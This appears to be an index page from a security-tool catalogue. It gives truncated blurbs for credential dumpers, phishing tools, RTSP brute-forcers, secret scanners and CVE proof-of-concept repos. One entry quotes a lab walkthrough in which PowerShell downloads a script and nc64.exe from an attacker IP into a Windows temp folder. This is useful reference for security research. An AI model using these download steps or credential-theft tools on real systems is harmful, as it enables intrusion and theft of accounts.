LaZagne

The LaZagne Project !!! Description The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques plaintext, APIs, custom algorithms, databases, etc.. This tool has been developed for...

RTSPbrute

RTSPBrute Inspired by Cameradar Features Find accessible RTSP streams on any target Brute-force stream routes Brute-force credentials Make screenshots on accessible streams Generate user-friendly report of the results: .txt file with each found stream on new line .html file with screenshot of eac...

social-engineer-toolkit

The Social-Engineer Toolkit SET The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2025-50154

NTLM/SMB Hardening & Threat Hunt Toolkit Author: w01f Version: 1.0 Purpose: Audit, harden, and hunt for insecure NTLM/SMB usage to mitigate risks such as CVE-2025-50154. CVE-2025-50154 Overview Severity: High Type: NTLM Credential Leak + Patch Bypass Zero-Click Affected: Windows 10/11, Windows...

trufflehog

TruffleHog Encuentra credenciales filtradas. 🔎 Escaneando ahora ...y más Para obtener más información sobre TruffleHog y sus características y capacidades, visita nuestra página de producto. 🌐 TruffleHog Enterprise ¿Estás interesado en monitorear continuamente Git, Jira, Slack, Confluence,...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

veeam-cve-2023-27532-mock

CVE-2023-27532 - Veeam Backup & Replication Vulnerability Vulnerability Description Veeam Backup & Replication contains a vulnerability that allows encrypted credentials stored in the configuration database to be obtained, allowing attackers to access backup infrastructure hosts. Nuclei Template...

CVE-2018-10933

Authentication Bypass in Server Code CVE-2018-10933 Versions 0.7.6 to 0.8.4 Description libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2MSGUSERAUTHSUCCESS message in place of the SSH2MSGUSERAUTHREQUEST message which the...

jeopardize

Introducción La herramienta Jeopardize está desarrollada para proporcionar capacidades básicas de inteligencia y respuesta contra amenazas de dominios de phishing al mínimo costo posible. Detecta candidatos a dominios de phishing registrados typosquatting, homógrafos, etc., los analiza y les asig...

pickl3

Pickl3 Pickl3 es una herramienta de phishing de credenciales de usuario activo de Windows. Puedes ejecutar Pickl3 y realizar phishing de la credencial del usuario objetivo. Uso Operativo - 1 Hoy en día, dado que el sistema operativo de muchos usuarios finales es Windows 10, no podemos robar...

pickl3

Pickl3 Pickl3 is Windows active user credential phishing tool. You can execute the Pickl3 and phish the target user credential. Operational Usage - 1 Nowadays, since the operating system of many end users is Windows 10, we cannot easily steal account information with Mimikatz-like projects like t...

anteater

Anteater - Marco de Verificación de Puerta CI/CD Descripción Anteater es un marco abierto para evitar la fusión no deseada de cadenas nominadas, nombres de archivo, binarios, funciones obsoletas, código/credenciales de entorno de staging, etc. Cualquier cosa que pueda especificarse con sintaxis d...

CVE-2020-15931

CVE-2020-15931 Netwrix Account Lockout Examiner 4.1 Domain Admin Account Credential Disclosure Vulnerability Vulnerbility Overview Netwrix Account Lockout Examiner ALE before 5.1 allows an unauthenticated, remote adversary to trigger a connection to an attacker-controlled system and capture the...

creddump7

Information This repo is for my modifications to the original 'creddump' program available at: https://code.google.com/p/creddump/ I did not write the original program. I have combined many patches and fixes I have seen from different forums and user suggestions, as well as modified the usage to...

gladius

Gladius Modo fácil de Responder a Credenciales Autor: Cory Duplantis @ctfhacker / blog Artículo en el blog sobre Gladius asciicast Gladius proporciona un método automatizado para descifrar credenciales de diversas fuentes durante un compromiso. Actualmente desciframos hashes de Responder,...

CVE-2020-10199

CVE-2020-10199 Echo version, casually written untested bug root@kitploit: Usage: python http://127.0.0.1:8080 username password Reference: https://www.cnblogs.com/magic-zero/p/12641068.html...

cve-2020-5260

cve-2020-5260 A HTTP PoC Endpoint for cve-2020-5260 which can be deployed to Heroku CREDIT INFORMATION Felix Wilhelm of Google Project Zero https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 Trigger the vuln root@kitploit: git clone...

carina

Acerca de Carina Carina es una aplicación web utilizada para almacenar datos de webshell, servidores privados virtuales VPS y cPanel. Carina está diseñada para que no necesitemos almacenar datos de webshell, VPS o cPanel en "lugares extraños". Instalar Carina 1. $ git clone...

SocialPwned

SocialPwned SocialPwned is an OSINT tool that allows to get the emails, from a target, published in social networks like Instagram, Linkedin and Twitter to find the possible credential leaks in PwnDB or Dehashed and obtain Google account information via GHunt. The purpose of this tool is to...